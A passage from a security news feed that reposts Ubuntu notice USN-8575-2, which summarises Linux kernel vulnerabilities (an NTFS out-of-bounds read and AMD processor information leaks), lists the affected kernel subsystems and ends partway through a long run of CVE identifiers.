CVE-2026-23356, CVE-2026-23357, CVE-2026-23362, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23442, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416,
CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428,
CVE-2026-31433, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452,
CVE-2026-31454, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31507, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31577,
CVE-2026-31578, CVE-2026-31581, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683,
CVE-2026-31684, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695,
CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699,
CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721,
CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-43014,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43058,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43085, CVE-2026-43089, CVE-2026-43093, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43113, CVE-2026-43123,
CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43206, CVE-2026-43209,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302,
CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315,
CVE-2026-43316, CVE-2026-43327, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43496, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45842, CVE-2026-45843, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45864, CVE-2026-45873,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46259, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46275, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46319)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-2: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:31:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
